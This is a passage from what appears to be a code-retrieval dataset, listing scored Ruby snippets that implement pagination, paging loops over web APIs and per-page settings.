page_batch\n end", "title": "" }, { "docid": "5eab6dc4e3c85148be3cc1c20f16125f", "score": "0.6412751", "text": "def paginate(type, request, ds, opts={})\n return ds.all if opts[:all_results]\n limit = limit_for(type, request)\n %r{\\/(\\d+)\\z} =~ request.env['PATH_INFO']\n offset = (($1||1).to_i - 1) * limit\n objs = ds.limit(limit+1, (offset if offset > 0)).all\n next_page = false\n if objs.length > limit\n next_page = true\n objs.pop\n end\n [next_page, objs]\n end", "title": "" }, { "docid": "d0b9ecd135ba3545b263a65197bcbd3d", "score": "0.6402207", "text": "def fetch_page\n url = URI([API, @url].join) # *hiss* \"URI\" has been wrong for years!\n\n unless @args.empty?\n url.query = URI.encode_www_form(@args.merge({ page: @page }))\n end\n\n res = Net::HTTP.get_response(url)\n raise SRL::NetworkError, res unless res.is_a?(Net::HTTPSuccess)\n\n data = JSON.parse(res.body)\n @page += 1\n\n ResultSet.new(\n SRL::Utils.collection(data.fetch(@args[:pkey]), @klass),\n count: data.fetch('count', data.fetch(@args[:pkey]).size),\n page: (@page - 1),\n page_size: @args.fetch(:pageSize, 25)\n )\n end", "title": "" }, { "docid": "4f8ad4ade394fd9d8350bbba6cb27c6c", "score": "0.6380295", "text": "def get_all(opts = {})\n after = nil\n objects = []\n opts[:limit] ||= MAX_PAGE_SIZE\n loop do\n page_opts = opts.merge(after: after)\n page = get_page(page_opts)\n objects.concat(page.results)\n break objects if page.paging.nil?\n\n after = page.paging._next.after\n end\n\n end", "title": "" }, { "docid": "4346481eaea4f0037aa0b84cdf31a608", "score": "0.6378691", "text": "def each(query_options={}, start_page=0, limit=15) # :yields: rows, skip, page, max_page, max_rows\n pages(@default_query_options.merge(query_options), start_page, limit, true, false) do |rows, skip, page, max_page ,max_rows|\n yield [rows, skip, page, max_page ,max_rows]\n end\n end", "title": "" }, { "docid": "78fefd221d8a6a7e26aa97ad5453ed01", "score": "0.6362662", "text": "def load\n data = []\n page = 1\n total_size = 0\n\n loop do\n request_url = \"#{@request_url_base}&page=#{page}&api_key=#{@api_key}\"\n response = Faraday.get(request_url)\n\n response_json = JSON.parse(response.body)\n\n break if response_json.empty?\n\n response_json.each do |item|\n data << item\n end\n\n unless @limit.nil?\n total_size += response_json.length\n\n break if total_size > @limit\n end\n\n page += 1\n end\n\n data = data.first(@limit) unless @limit.nil?\n\n data\n end", "title": "" }, { "docid": "86c8905ec6ce5bda16494fae35247221", "score": "0.63598096", "text": "def paginator; end", "title": "" }, { "docid": "4e9563cf91cf1f621d8f3438e32c8c21", "score": "0.6358541", "text": "def next_search_result_page(params = {}, opts = {})\n return self.class.empty_search_result(opts) unless has_more\n\n params = filters.merge(page: next_page).merge(params)\n\n _search(url, params, opts)\n end", "title": "" }, { "docid": "40b6b02d7ef20c40924827ef5765c471", "score": "0.63561016", "text": "def each\n page = Page.new( @client, @api_model, @uri, @query_params )\n until page.nil?\n yield page\n page = page.next\n end\n end", "title": "" }, { "docid": "9f3890036ea215fda264bf7957a3d93a", "score": "0.6334834", "text": "def per_page(pp = 20)\n @query[:count] = pp\n return self\n end", "title": "" }, { "docid": "1f860ab717f0bc6c0a9e76768e470379", "score": "0.63332045", "text": "def fetch_with_pagination(connection, entity, per_page)\n offset = 0\n records = []\n\n begin\n set = handle_timeouts(MAX_TIMEOUTS, \"loading tasks (offset: #{offset})\") { connection.send(entity, offset, \"yes\", \"owner,coworker,reporter\") }\n\n records += set\n offset += per_page\n end until set.empty?\n\n records\nend", "title": "" }, { "docid": "bc16830fa113c617b08826f3c7395bed", "score": "0.63312685", "text": "def paginate opts = {}\n @paginator = true\n page = (opts[:page] || 1).to_i\n per_page = (opts[:per_page] || 20).to_i\n page = 1 if page < 1\n limit( per_page, ( page - 1 ) * per_page )\n end", "title": "" }, { "docid": "f7740fb86b4886cfcd46fcc5eb164769", "score": "0.6330483", "text": "def page(value)\n\t\t\tl = @params.get(\"limit\") || 1000\n\t\t\tskip((l.to_i * value.to_i) - l.to_i)\n\t\tend", "title": "" }, { "docid": "903188faa1c1c172d875e9eda74823ed", "score": "0.63199407", "text": "def paginated_each(options, &block)\n search = options.delete(:search)\n unless search == true\n proxy = create_collection_proxy(options)\n else\n proxy = create_search_collection_proxy(options)\n end\n proxy.paginated_each(options, &block)\n end", "title": "" }, { "docid": "5bf39b58dc88cc62f296f5787554b11f", "score": "0.6314723", "text": "def paginated_collected(options = {})\n paginated(options)\n end", "title": "" }, { "docid": "e61debfcd227ff7f97f0c910ddd9a315", "score": "0.63133734", "text": "def paginate(options={})\n populate_pagination_attributes_from_options(options)\n limit(per_page)\n offset((page - 1) * per_page)\n self\n end", "title": "" }, { "docid": "d3bd486bcc6ca829008e2f6f3e0b826a", "score": "0.6302469", "text": "def test_get_index_paging\n page_size = 10\n mark = 0\n begin\n uri = URI.parse '/api2/index' \n uri.query = Rack::Utils.build_query(\n :email => CGI.escape(@email),\n :auth => @token,\n :length => page_size,\n :mark => mark\n )\n \n get uri.to_s\n response = JSON.parse(last_response.body)\n mark = response['mark'].to_i\n end while response['mark']\n end", "title": "" }, { "docid": "b79652bc18be7a758f5d8c76393b6be9", "score": "0.6284482", "text": "def next_page(params = {})\n @items = load_page(params)\n end", "title": "" }, { "docid": "41d1cc1b0344e6c96d18ef64d7dd9f7b", "score": "0.62817526", "text": "def next\n @offset = get_current_offset + get_count\n get_results @current_projection\n end", "title": "" }, { "docid": "072dab2c8259d3afd1af531d4db0a04a", "score": "0.6280049", "text": "def paginated_request(*args, **options, &block)\n initial_response = request *args, **options\n yield initial_response\n\n # Calculate pages\n total = initial_response.headers['Total'].to_i\n per_page = initial_response.headers['Per-Page'].to_i\n pages = begin\n (total.to_f / per_page.to_f).ceil\n rescue FloatDomainError\n 0\n end\n\n # Ignoring first page because that was the initial response\n (2..pages).each do |page|\n options[:params] ||= {}\n options[:params][:page] = page\n yield request *args, **options\n end\n end", "title": "" }, { "docid": "e62c09076a765119475351ae42ddeab1", "score": "0.62703925", "text": "def index\n @requests = Request.all.paginate(page: params[:page], per_page: 15)\n end", "title": "" }, { "docid": "4a1d67222266745b012737cdab3734f2", "score": "0.6266351", "text": "def paginate(path, options={})\n per_page = options[:per_page] || options[\"per_page\"] || @per_page\n page = options[:page] || options[\"page\"]\n response = get(path+\"?page=1&per_page=#{per_page}\")\n\n # return one page results without pagination.\n return response if !@auto_paginate\n\n # return all results when enabled auto paginate\n last_response = response.dup\n data = response[\"data\"]\n while last_response[\"next_page_url\"]\n last_response = get(last_response[\"next_page_url\"] + \"&per_page=#{per_page}\")\n data.concat(last_response[\"data\"]) if last_response[\"data\"].is_a?(Array)\n end\n\n return data\n end", "title": "" }, { "docid": "3bf4057ec64b994efe8d26d60180274d", "score": "0.6255063", "text": "def each\n params = {}\n if range[:begin]\n begin_key = range[:begin_inclusive] ? :start : :after\n params[begin_key] = range[:begin]\n end\n if range[:end]\n end_key = range[:end_inclusive] ? :end : :before\n params[end_key] = range[:end]\n end\n params[:limit] = range[:limit]\n @response ||= collection.perform(:list, params)\n return enum_for(:each) unless block_given?\n raise ResultsNotReady.new if collection.app.inside_parallel?\n loop do\n @response.results.each do |doc|\n yield KeyValue.from_listing(collection, doc, @response)\n end\n break unless @response.next_link\n @response = @response.next_results\n end\n @response = nil\n end", "title": "" }, { "docid": "bd210199f18b32efcd536d3479f16c40", "score": "0.6245352", "text": "def all_sequentially &block\n page, per_page = 1, 5\n begin\n results = paginate(page: page, per_page: per_page, order: '_id asc')\n results.each{|o| block.call o}\n page += 1\n end until results.blank? or results.size < per_page\n end", "title": "" }, { "docid": "be3fb7573c4bd38d052f70a9d0307dca", "score": "0.622413", "text": "def pager(method,filter_param,per_page=500)\n session[:ooc_deviation_search][:row_from]=0\n session[:ooc_deviation_search][:row_to]=per_page\n deviations = OocDeviationSearch.search(session[:ooc_deviation_search])\n count = deviations.size == 0 ? 0 : deviations.first.count\n if count > 0\n pages = (count / per_page.to_f).ceil\n if count < per_page\n per_page=count\n end\n pages.times do |page|\n page +=1\n session[:ooc_deviation_search][:row_from]=0\n session[:ooc_deviation_search][:row_to]=per_page\n if filter_param.downcase=='all'\n row_to=per_page*page\n row_from=(row_to-per_page)+1\n session[:ooc_deviation_search][:row_from]=row_from\n session[:ooc_deviation_search][:row_to]=row_to\n end\n #$stderr.puts \"pager: #{page} | #{pages} | #{session[:ooc_deviation_search][:row_from]} |\\\n ##{session[:ooc_deviation_search][:row_to]} | #{count}\"\n unless page==1\n SwareBase.uncached do\n deviations = OocDeviationSearch.search(session[:ooc_deviation_search])\n count = deviations.size == 0 ? 0 : deviations.first.count\n end\n end\n send(method, deviations)\n end\n end\n end", "title": "" }, { "docid": "59f490d098e991fbf368c0fbfbf79ff1", "score": "0.6213999", "text": "def fetch_with_limit\n start_result = 10\n start_result.step(RESULTS_LIMIT, 10) do |number|\n response = get_subdomains!(number)\n break unless response.items_present?\n end\n end", "title": "" }, { "docid": "539d26de072c6f6b086bda01cbcabfbb", "score": "0.62083244", "text": "def per_page; @opts['per_page']; end", "title": "" }, { "docid": "448a0af8e8e74b1d625410df4168b9bb", "score": "0.6207746", "text": "def page_size\n 10\n end", "title": "" }, { "docid": "0ab83e0839128db4d41a5ff5cb5608c6", "score": "0.619954", "text": "def per_page\n @solr_data[:rows].to_i\n end", "title": "" }, { "docid": "55d86ce65a64ed08cfb61c506a8ec8ef", "score": "0.6199391", "text": "def fetch_all(initial_url, item_key, opts = {})\n params = query_params(opts)\n url = initial_url + params\n\n unless opts[:page]\n next_page = url\n results = []\n\n loop do\n curr_page = JSON.parse(self[next_page].get)\n results += curr_page[item_key]\n break unless curr_page['next']\n next_page = curr_page['next'] + params\n end\n\n results\n else\n JSON.parse(self[url].get)[item_key]\n end\n end", "title": "" }, { "docid": "b0df34455f668bfc6ca4faf921a90f62", "score": "0.6191805", "text": "def paginate_items(items)\n paginated_items = items.paginate(paginate_options)\n next_page_exists = paginated_items.length > @limit || paginated_items.next_page\n add_link_header(offset: (offset + 1)) if next_page_exists\n paginated_items[0..(@limit - 1)] # get paginated_collection of length 'limit'\n end", "title": "" }, { "docid": "a66844086c5816b937913d2d00062020", "score": "0.6188244", "text": "def all_products\n params = { page: 0 }\n products = []\n loop do\n params[:page] += 1\n uri = create_uri(SHOPICRUIT_URL, params)\n response_body = make_get_request(uri)\n current_products = response_body.nil? ? [] : JSON.parse(response_body)[PRODUCTS_FIELD]\n products.concat(current_products)\n break if current_products.empty?\n end\n products\nend", "title": "" }, { "docid": "0829f6a35a6c79a41cf145e53c33ce19", "score": "0.6179783", "text": "def per_page\n 6\n end", "title": "" }, { "docid": "839946516b7f52d739962d93cac627cc", "score": "0.6168385", "text": "def each_row(q, options = {}, &block)\n current_row = 0\n # repeatedly fetch results, starting from current_row\n # invoke the block on each one, then grab next page if there is one\n # it'll terminate when res has no 'rows' key or when we've done enough rows\n # perform query...\n res = query(q, options)\n job_id = res['jobReference']['jobId']\n # call the block on the first page of results\n if( res && res['rows'] )\n res['rows'].each(&block)\n current_row += res['rows'].size\n end\n # keep grabbing pages from the API and calling the block on each row\n while( current_row < res['totalRows'].to_i && ( res = get_query_results(job_id, :startIndex => current_row) ) && res['rows'] ) do\n res['rows'].each(&block)\n current_row += res['rows'].size\n end\n end", "title": "" }, { "docid": "fd8156ddef6e09002c2b74c95e6abe38", "score": "0.6163447", "text": "def each(&block)\n current_page = self\n while current_page\n current_page.results.each(&block)\n current_page = current_page.next_page\n end\n end", "title": "" }, { "docid": "bd51233ff76c34831dfa28a9161c89f5", "score": "0.61547625", "text": "def pager(method,filter_param,per_page=500)\n \n deviations = DeviationSearch.search(session[:deviation_search],0,per_page)\n count = deviations.first[:count]\n if count > 0\n pages = (count / per_page.to_f).ceil\n if count < per_page\n per_page=count\n end\n pages.times do |page|\n page +=1\n end_row=per_page\n start_row=0\n if filter_param.downcase=='all'\n end_row=per_page*page\n start_row=(end_row-per_page)+1\n end\n# $stderr.puts \"pager: #{page} | #{pages} | #{start_row} | #{end_row} | #{count}\"\n unless page==1\n SwareBase.uncached do\n deviations = DeviationSearch.search(session[:deviation_search],start_row,end_row)\n end\n end\n send(method, deviations)\n end\n end\n end", "title": "" }, { "docid": "38525054718987c24fa14fe79b484b85", "score": "0.61501724", "text": "def per_page(results_per_page = nil)\n if results_per_page\n @num_records, @num_pages = nil, nil\n @per_page = results_per_page\n self\n else\n @per_page\n end\n end", "title": "" }, { "docid": "8e460b49aaf510f9c86e4df0bee2b1a9", "score": "0.6145398", "text": "def fetch_with_pagination(connection, entity, per_page)\n offset = 0\n records = []\n page = 1\n\n begin\n log.info \" Requesting set #{page} (limit #{per_page}, offset #{offset})\"\n set = handle_timeouts(MAX_CONSECUTIVE_TIMEOUTS, \"loading tasks (offset: #{offset})\") { connection.send(entity, offset, \"yes\", \"owner,coworker,reporter\") }\n log.info \" Fetched #{set.size} records\"\n\n records += set\n offset += per_page\n page += 1\n end until set.size < per_page\n\n records\n end", "title": "" }, { "docid": "fd6ba1a911ffd893c4e82b387dec14f0", "score": "0.613589", "text": "def chunk_pagination(options = {})\n page = options[:page] ? options[:page].to_i : 1\n per_page = self.length\n total_entries = options[:total_entries] ? options[:total_entries].to_i : self.length\n left_array = [nil]*(per_page * (page - 1))\n right_array = total_entries > per_page * page ? [nil]*(total_entries - per_page * page) : []\n self.unshift *left_array\n self.push *right_array\n self.paginate(:page => page, :per_page => per_page)\n end", "title": "" }, { "docid": "a8eb6fff4c8fa5462637cbfe7858f32a", "score": "0.6130748", "text": "def paged_results\n results = WillPaginate::Collection.create( @index.current_page, @index.docs_per_page, @index.current_results_total ) do |pager|\n pager.replace(@index.ordered_results)\n end\n return results\n end", "title": "" }, { "docid": "c62ef7fc5fa00f81d34edd87b4d01aef", "score": "0.6130202", "text": "def params\n { :params => { 'max-results' => '1000' }}\n end", "title": "" }, { "docid": "7166111486c2589ad07085bec2415a81", "score": "0.61278033", "text": "def index\n render json: Item.paginate(page: params[:page], per_page: 25)\n end", "title": "" }, { "docid": "2d8f7f705ed590d2723988a3471aa288", "score": "0.61171377", "text": "def index\n @ppbs = Ppb.all.paginate(page: params[:page], per_page: 15)\n end", "title": "" }, { "docid": "fa2fd0cb7660c4d320fc950a3a5ccfb5", "score": "0.6109999", "text": "def each\n current_result = self\n begin \n last_result = current_result\n current_result.elements[:results].each do |result|\n\t# The collection of refs we are holding onto could grow without bounds, so dup\n\t# the ref\n\tyield result.dup\n end\n current_result = current_result.next_page if current_result.more_pages?\n end while !last_result.equal? current_result\n end", "title": "" }, { "docid": "5bf8d9f5e9c720d532518026fb01f8cb", "score": "0.61083555", "text": "def paginate(*args)\n @list.paginate(*args)\n end", "title": "" }, { "docid": "96d2906815f4f8a1cc02a92c680b308e", "score": "0.61022776", "text": "def max_per_page\n 200\n end", "title": "" }, { "docid": "8435a1d7d5ad652fdb1c62cdf452ca76", "score": "0.60995954", "text": "def populate_results(json)\n # page = json[\"page\"]\n # results = json[\"results\"].map{|r| SearchResult.new(r)}\n # start = (page - 1) * 10\n # @results[start, results.length] = results\n @results = json[\"results\"].map{|r| SearchResult.new(r)}\n end", "title": "" }, { "docid": "596aa47dff89e2b28725b62cd9a2d628", "score": "0.60984236", "text": "def get_more\n @reserve = get_chain\n last_link = @reserve\n count = @page_size / 100\n count = 15 if count < 15\n while(count > 0)\n last_link = get_next_for(last_link)\n count -= 1\n end\n @next_object = get_next_for(last_link)\n set_next_for( last_link , nil )\n self\n end", "title": "" }, { "docid": "7294feded096d20c0e7d54b4b3ba514b", "score": "0.6086357", "text": "def retrieve_for_index(index)\n page = (index / 10) + 1\n populate_results(API.search(@query, page))\n end", "title": "" }, { "docid": "8037296081f8200e756362fcaafc6459", "score": "0.6084796", "text": "def paginate(what, where, options={})\n default_options = @@default_options.merge({ :page => 1, :limit => @@jobs_per_page })\n options[:limit] = options[:per_page] if options[:per_page]\n opts = default_options.merge(options)\n results = self::Collection.create(opts[:page], opts[:limit]) do |pager|\n opts[:limit] = pager.per_page\n opts[:start] = pager.offset\n result = self.api_search(what, where, opts)\n pager.replace(result) # inject the result array into the paginated collection\n unless pager.total_entries # the pager didn't manage to guess the total count, do it manually\n pager.total_entries = pager.totalresults\n end\n pager.total_entries = 1000 if pager.total_entries > 1000 # limits number of jobs to 1000 (max that Indeed API returns)\n end\n end", "title": "" }, { "docid": "0146a08f8f0d27b2c83c7033a3206fd2", "score": "0.6080889", "text": "def next_page(path)\n result = http_get(path)\n collection_from(result.body)\n end", "title": "" }, { "docid": "da487b0ae7690bdd1e6991323e386db3", "score": "0.608079", "text": "def next_page\n page = self.page() + 1\n request = @request.clone()\n request.replace_param( :page, page )\n @client.execute( request )\n end", "title": "" }, { "docid": "0e63239ab55991286cd2330818e6a81b", "score": "0.60804915", "text": "def next_page\n @rally_rest.query(@query.next_page(:start => self.start_index + self.page_size,\n\t\t\t\t :pagesize => self.page_size))\n end", "title": "" }, { "docid": "05b582fe56aaf098d19a968b32377106", "score": "0.6076065", "text": "def get_all(query_options={}, current_page=1, limit=15) # :yields: rows,page,next_page_flag\n opts = @default_query_options.merge(query_options)\n page = current_page.to_i\n page = 1 if page < 1\n while true\n opts[\"skip\"] = limit * (page - 1)\n opts[\"limit\"] = limit + 1\n uri = gen_view_uri(opts)\n $stderr.puts \"[debug] get_all() uri=#{uri}\" if @debug\n \n rows = YALTools::YaJsonRows.new(@couch, @dbname)\n json = @couch.get(uri)\n i=0\n next_row = nil\n next_page_flag = false\n json.has_key?(\"rows\") and yield_rows(json[\"rows\"]) do |r|\n if i == limit\n next_page_flag = true\n else\n rows << r\n end\n i += 1\n end\n break if rows.length == 0\n yield [rows, page, next_page_flag]\n break if next_page_flag == false\n page += 1\n end\n end", "title": "" }, { "docid": "ade6ef306512904630193c484de38c6e", "score": "0.60754853", "text": "def auto_pagination(request_proc, opts)\n items = []\n loop do\n new_items, next_opts = request_proc.call opts\n items = [*items, *new_items]\n break unless next_opts\n\n opts = next_opts\n end\n items\n end", "title": "" }, { "docid": "5aad5efe31cc7d84493f15ca8bc2a213", "score": "0.6068932", "text": "def next_query\n @start += 1000\n\n {\n start: @start - 1000,\n rows: 1000,\n q: @q,\n fq: @fq,\n def_type: @def_type,\n fl: 'uid,fulltext_url',\n facet: false\n }\n end", "title": "" }, { "docid": "38ffc79f4c3fb40da266877da819b114", "score": "0.60649866", "text": "def results\n @results ||= paginate_collection(verified_hits.map { |hit| hit.instance })\n end", "title": "" }, { "docid": "38ffc79f4c3fb40da266877da819b114", "score": "0.60649866", "text": "def results\n @results ||= paginate_collection(verified_hits.map { |hit| hit.instance })\n end", "title": "" }, { "docid": "1d1cfdbe951242f3dc8931949d2bc223", "score": "0.60638577", "text": "def get_characters_from_api\n #establish initial url from api\n url = 'http://www.swapi.co/api/people/'\n #get all data from first page of API\n page_of_characters = JSON.parse(RestClient.get(url))\n all_characters = page_of_characters\n \n next_call = page_of_characters[\"next\"]\n\n while next_call do\n next_page = next_call\n next_page_of_characters = JSON.parse(RestClient.get(next_page))\n (all_characters[\"results\"] << next_page_of_characters[\"results\"])\n next_call = next_page_of_characters[\"next\"]\n end\n\n all_characters\nend", "title": "" }, { "docid": "574fc58f1d339737d12fdaaa1ccdf9f9", "score": "0.606316", "text": "def get_more_items\n @items = Item.page(2)\n\tend", "title": "" }, { "docid": "15559e96d7bc6f430ec02aa742c009b4", "score": "0.6057992", "text": "def per_page\n DEFAULT_PAGE_SIZE\n end", "title": "" }, { "docid": "d580f341947186ef29f6bbaccf9c0c1f", "score": "0.6057077", "text": "def index\n @picks = Pick.paginate(:page => params[:page], :per_page => 100)\n end", "title": "" }, { "docid": "8bf7a594704e4921c61c667ee6c958f1", "score": "0.6053013", "text": "def paginate_at ()\n return 8\n end", "title": "" }, { "docid": "f873275a637f956818420429c3c1550e", "score": "0.60518104", "text": "def paginate(collection, page_num, per_page=5)\n num_pages = (collection.count.to_f / per_page).ceil\n page_num = page_num.to_i\n\n # fix wonky client requests\n page_num = 1 if page_num.nil? || page_num <= 0\n page_num = num_pages if page_num > num_pages\n\n collection.slice((page_num - 1) * per_page, per_page)\nend", "title": "" }, { "docid": "0954edcd0777f7179cbd51215fd67464", "score": "0.6051319", "text": "def page(num = 1)\n num = 1 if num < 1\n num = @pages if num > @pages\n\n @page_number = num\n\n # offset n is the n+1 record\n start = (@page_number - 1) * @page_size\n\n @paged_filtered_rset = @filtered_rset.offset(start).limit(@page_size)\n\n self\n end", "title": "" }, { "docid": "3b98b1d194e48e7e53fe4cc247232112", "score": "0.6048144", "text": "def paginate!(curr_page)\n return if !hard_paginate?\n @page = curr_page.to_i\n raise ArgumentError if @page < 1 || @page > total_pages\n adj_page = @page - 1 > 0 ? @page - 1 : 0 \n @prev_page = adj_page > 0 ? adj_page : nil\n @next_page = page < total_pages ? (@page + 1) : nil\n @data.only!(adj_page * per_page..(@page * per_page - 1))\n end", "title": "" }, { "docid": "2b669dc8b048c54b250472040be52e77", "score": "0.6048007", "text": "def page_size\n 50\n end", "title": "" }, { "docid": "e8feda58574dd468d2d9c97de5a1d701", "score": "0.604479", "text": "def my_listings\n page = params[:page]\n offset = page.to_s+\"0\"\n @prevPage = page.to_i-1\n @nextPage = page.to_i+1\n\n userID = session[:user_id]\n\n uri = URI(\"http://107.170.7.58:4567/api/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"count\" => \"10\", \"offset\" => offset}\n response = Net::HTTP.post_form(uri, parameters)\n\n list = JSON.parse(response.body)\n\n @sells = Array.new\n @books = Array.new\n list.each do |listing|\n if listing[\"kind\"].eql? \"sell\"\n @sells.push Sell.new(listing[\"data\"])\n else if listing[\"kind\"].eql? \"book\"\n @books[listing[\"data\"][\"id\"]] = Edition.new(listing[\"data\"])\n end\n end\n end\n end", "title": "" }, { "docid": "c2972bd2d09fab14a83ace05e260aa42", "score": "0.60317236", "text": "def start\n i = 0\n while true\n url = URI.parse(@bank_products_list_url + (page_index + i))\n full_path = (url.query.blank?) ? url.path : \"#{url.path}?#{url.query}\"\n request = Net::HTTP::Get.new(full_path)\n\n response = Net::HTTP.start(url.host, url.port) { |http|\n http.request(request)\n }\n\n raise \"Response was not 200, response was #{response.code}, error was #{response.body}\" if response.code != \"200\"\n\n products = parse_products response\n\n products.each do |p|\n yield convert p\n end\n\n # get out of the loop if this is the last page\n break if is_last_page response\n i = i + 1;\n end\n end", "title": "" }, { "docid": "a8fedd1aa74f0578807f54d6ba239d03", "score": "0.6031107", "text": "def next_page\n url = @entity[:next]\n return unless url\n\n query = URI.decode_www_form(URI(url).query).to_h\n query = query.to_h { |k, v| [k.to_sym, v] }\n self.class.list(**query)\n end", "title": "" }, { "docid": "e8cd6a9e0a3a9bc2c5704890f492eb8d", "score": "0.6029987", "text": "def each\n limits = @version.read_limits\n \n page = self.page(\n page_size: limits['page_size'],\n )\n \n @version.stream(page,\n limit: limits['limit'],\n page_limit: limits['page_limit']).each {|x| yield x}\n end", "title": "" }, { "docid": "48e33ac1729706d2d20f156cf6dee817", "score": "0.60200834", "text": "def items_per_page\n \t10\n end", "title": "" }, { "docid": "c7c0146a87703d8500708b19d01531fe", "score": "0.60065573", "text": "def list\n response = connect(base_url, :get)\n pagination_links(response)\n self.current_page = JSON.load(response.body)\n end", "title": "" } ]
217935b1a9ed3ff3532cd87d7c6754d8
Returns an array of listings based on the last fetch if fetch is empty then will trigger a fetch
[ { "docid": "054385c41fc40bcdc84d7216e6d02020", "score": "0.6413799", "text": "def fetch_listings(format=nil)\n result = nil\n raw = fetch_raw(format)\n case self.format\n when 'xml'\n # parse xml raw\n result = XmlSimple.xml_in raw, { 'ForceArray' => false, 'AttrPrefix' => true }\n when 'json'\n result = JSON.parse(raw)\n end\n result = raw unless result\n result\n end", "title": "" } ]
[ { "docid": "73445c8d105c06a9147901622ef2785a", "score": "0.6142964", "text": "def fetch\n fetch_response.results\n end", "title": "" }, { "docid": "2e1b77dcd9b104293baa2d527e3fe1da", "score": "0.61230737", "text": "def fetch_outlets(outlet: nil, limit_num: 6)\n if outlet\n articles = following.where(\"outlet_name > ?\", outlet)\n else\n articles = following\n end\n articles.limit(limit_num)\n end", "title": "" }, { "docid": "5a030795ce847d12a442e1f2d17758cc", "score": "0.6116028", "text": "def fetch\n items_distributed = fetch_items_distributed\n\n # Inject the \"onhand\" data\n items_distributed.map! do |item|\n item_name = item[:name]\n\n below_onhand_minimum = if current_onhand_quantities[item_name] && current_onhand_minimums[item_name]\n current_onhand_quantities[item_name] < current_onhand_minimums[item_name]\n end\n\n item.merge({\n current_onhand: current_onhand_quantities[item_name],\n onhand_minimum: current_onhand_minimums[item_name],\n below_onhand_minimum: below_onhand_minimum\n })\n end\n\n items_distributed.sort_by { |item| -item[:distributed] }\n end", "title": "" }, { "docid": "ed1c18c213971072c11864464c86b67d", "score": "0.6062649", "text": "def fetch\n @github.fetch\n @stackoverflow.fetch\n @acuk.fetch\n @jobs = data.shuffle\n end", "title": "" }, { "docid": "6735f7fad3f47a796e53e8163113f7d0", "score": "0.6022406", "text": "def fetch_items(options = {})\n options = options.reverse_merge(:enable_max_items_per_fetch => true,\n :enable_last_fetched_item_url => true ,\n :enable_max_pages_per_fetch => true)\n\n logger.info \"now fetching: #{source_website.name}\"\n if status == RUNNING\n warning = \"the source_website #{source_website.name} is being fetched... please stop it if you want another fetch\"\n logger.info warning\n raise warning\n end\n if invalid_item_list_css?\n warning = \"the source_website #{source_website.name} seems has no entries, is the css: /#{source_website.items_list_css}/ correct? \"\n logger.info warning\n raise warning\n end\n update_attribute(:status, RUNNING)\n logger.debug \"-- last_fetched_item_url: \"\n logger.debug \"-- \\n #{last_fetched_item_url.split(LAST_N_URL_SEPARATOR).join(\"\\n\")}\" unless last_fetched_item_url.blank?\n begin\n fetch_items_list_strategy(options)\n rescue Exception => e\n puts \"exception: #{e}, more details, please check the log\"\n logger.error e\n logger.error e.backtrace.join(\"\\n\")\n ensure\n update_attribute(:status, \"\")\n save_last_fetched_info\n end\n end", "title": "" }, { "docid": "17239b11381d403a8e81c96a595a34b9", "score": "0.5993196", "text": "def fetch_all!\n fetch_all(true)\n end", "title": "" }, { "docid": "17bf51a749f5d37d06f26f07f529c465", "score": "0.59874076", "text": "def fetch\n feeds = [{}]\n\n case params[:fetch_type]\n when 'all'\n ids = []\n friends = Friend.where(\"(friend_one = ? OR friend_two = ?) AND is_accepted = true\", params[:user_id], params[:user_id])\n friends.each do |f|\n if f.friend_one == params[:user_id]\n ids.push(f.friend_two)\n else\n ids.push(f.friend_one)\n end\n end\n\n follows = Follow.where(follower_id: params[:user_id])\n follows.each do |f|\n if !ids.include?(f.following_id)\n ids.push(f.following_id)\n end\n end\n\n groups = Group.joins(:group_users).where(:group_users => {user_id: params[:user_id]})\n gids = []\n groups.each do |g|\n gids.push(g.id)\n end\n\n feeds = paginate Feed.where({user_id: ids, group_id: gids}).order('created_at DESC')\n when 'friends'\n ids = []\n friends = Friend.where(\"(friend_one = ? OR friend_two = ?) AND is_accepted = true\", params[:user_id], params[:user_id])\n friends.each do |f|\n if f.friend_one == params[:user_id]\n ids.push(f.friend_two)\n else\n ids.push(f.friend_one)\n end\n end\n feeds = paginate Feed.where(user_id: ids).order('created_at DESC')\n when 'follows'\n feeds = paginate Feed.joins(:follow).where(:follows => {follower_id: params[:user_id]}).order('created_at DESC')\n when 'groups'\n groups = Group.joins(:group_users).where(:group_users => {user_id: params[:user_id]})\n gids = []\n groups.each do |g|\n gids.push(g.id)\n end\n\n feeds = paginate Feed.where({group_id: gids}).order('created_at DESC')\n when 'user'\n feeds = paginate Feed.where(user_id: params[:activity_id]).order('created_at DESC')\n when 'group'\n feeds = paginate Feed.where(group_id: params[:activity_id]).order('created_at DESC')\n\n end\n\n render json: feeds.to_json(:include => :user)\n end", "title": "" }, { "docid": "cf93e306ba02044767c6081ff875c092", "score": "0.5980769", "text": "def fetch_latest(params)\n wines = []\n offset = 0\n limit = 5000\n params_with_defaults = { limit: limit }.merge(params)\n response = auth_then.get(BASE_URL, params: params_with_defaults)\n count = response.parse[\"count\"]\n\n while offset < count\n if response.code == 200\n response.parse[\"results\"].each do |result|\n wines << result\n end\n else\n []\n end\n response = auth_then.get(response.parse[\"next\"]) if response.parse[\"next\"] != nil\n offset += 5000\n end\n wines\n end", "title": "" }, { "docid": "51419d18470b76cb24ccb077de7cf709", "score": "0.59725165", "text": "def listings\n Zoopla::CachedListings.new.search(self).sort_by(&:updated_at).reverse!\n end", "title": "" }, { "docid": "82997aafc94385c74962cd7031520edc", "score": "0.5853433", "text": "def fetch(page=nil)\n regenerate_feed! unless cached?\n $redis.expire @feed_key, INACTIVE_DAYS * 24 * 60 * 60\n\n page ||= 1\n start_index = 30 * (page.to_i-1)\n stop_index = start_index + 30 - 1\n\n story_ids = $redis.zrevrange(@feed_key, start_index, stop_index).collect(&:to_i)\n\n stories = Story.where(id: story_ids, :target_type => 'Anime').for_user(@user).includes(:user, :substories, target: :genres, substories: :user)\n stories += Story.where(id: story_ids).where('target_type <> ?', 'Anime').for_user(@user).includes(:user, :substories, :target, substories: :user) if story_ids.length > stories.length\n\n stories.sort_by {|s| story_ids.find_index s.id }\n end", "title": "" }, { "docid": "e8feda58574dd468d2d9c97de5a1d701", "score": "0.5837284", "text": "def my_listings\n page = params[:page]\n offset = page.to_s+\"0\"\n @prevPage = page.to_i-1\n @nextPage = page.to_i+1\n\n userID = session[:user_id]\n\n uri = URI(\"http://107.170.7.58:4567/api/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"count\" => \"10\", \"offset\" => offset}\n response = Net::HTTP.post_form(uri, parameters)\n\n list = JSON.parse(response.body)\n\n @sells = Array.new\n @books = Array.new\n list.each do |listing|\n if 